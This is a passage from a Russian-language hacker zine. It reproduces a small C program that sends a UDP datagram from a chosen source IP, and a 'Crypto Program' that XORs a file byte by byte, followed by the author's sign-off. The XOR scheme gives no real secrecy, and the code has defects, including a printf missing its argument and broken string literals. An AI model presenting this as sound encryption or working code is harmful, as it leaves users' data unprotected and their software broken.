**
** ex:
** $./udp source-ip destination-ip dest-port message
**
**
** AUTHOR: Angelo Rosiello (Guilecool)
**
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <assert.h>

#define mia_porta 0

void udp_initialize();

int main(int argc, char *argv[])
{
   int sd, PORT, binding;
   struct sockaddr_in server_addr, mio_addr;
   if(argc != 5)
   {
   fprintf(stdout, "Unix UDP client by Angelo Rosiello
         (Guilecool)\n");
   fprintf(stdout, "USAGE: %s SOURCE-IP DEST-IP PORT MESSAGE\n",
      argv[0]);
   exit(0);
   }

   PORT = atoi(argv[3]);

   udp_initialize(&mio_addr, mia_porta, (long) inet_addr(argv[1]));
   udp_initialize(&server_addr, PORT, (long) inet_addr(argv[2]));
   sd = socket(AF_INET, SOCK_DGRAM, 0);
   binding = bind(sd, (struct sockaddr *)
         &mio_addr, sizeof(mio_addr));
   if(binding != 0) perror("Bind");
   assert(binding == 0);

   sendto(sd, argv[4], strlen(argv[4]), 0, (struct sockaddr *)
      &server_addr, sizeof(server_addr));
}

void udp_initialize(struct sockaddr_in *address, int port, long IPaddr)
{
   address->sin_family = AF_INET;
   address->sin_port = htons((u_short)port);
   address->sin_addr.s_addr = IPaddr;
}

/*
***
***    EOF
***
*/

--5.3 Исходники шифровщика

########################## CRYPTO.C #####################################
/*
***              Crypto Program
***
***                Copyright (c) The Last of Calamities
***                       All Rights Reserved
***                AUTHOR: Angelo Rosiello (Guilecool)
***
*/


#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <assert.h>
#include <unistd.h>
#include <sys/types.h>

char crypto(char ch);

main(int argc, char *argv[])
{
   char ch, crypted;
   int fd, new_fd, lettura;
   if(argc != 3)
   {
      printf("Copyright (c) 2002/03 Angelo Rosiello
         (Guilecool)\n");
      printf("All Rights Reserved\n");
      printf("USAGE: %s SOURCE-FILE DEST-FILE\n");
      exit(0);
   }
   fd = open(argv[1], O_RDONLY);
   assert(fd > 0);
   if(fd <= 0) perror("file");
        new_fd = open(argv[2], O_CREAT | O_RDWR | O_TRUNC, 0644);
        assert(new_fd > 0);
        if(new_fd <= 0) perror("file");
   while(1)
   {
      lettura = read(fd, &ch, 1);
      if(lettura == 0) break;
      crypted = crypto(ch);
      write(new_fd, &crypted, 1);
   }

}

char crypto(char ch)
{
   char crypted;
   int key = 0xff17261;
   crypted = ch ^ key;
   return(crypted);
}

/*
***
*** EOF
***
*/

#################### END OF PROJECT ###########################

Напоследок хочу передать большие регардсы всем моим знакомым кого я только знаю.

А напоследок хочу сказать. Все постинги на форуме по поводу того, что Defaced не
стоит  сравнивать  с  Phrack'ом  и  2600  можно  считать  просто болтовней. Хочу
заметить,  что  Phrack  образца  1985-1987,  т.е. начало его существования - это
полное  фуфло. А 2600, как было фуфло, так и осталось фуфло. Поверьте мне, я его
читал.  У  всех  было  начало. И все учились. И у Defaced'а тоже начало. Так что
хватит разводить пустые разговоры, а лучше помогите зину, чем сможете. Я же хочу
пожелать Defaced'у долгожительности и побольше ридеров. Don't stop, Defaced!

        __
       /
      /
     /
    /____ lash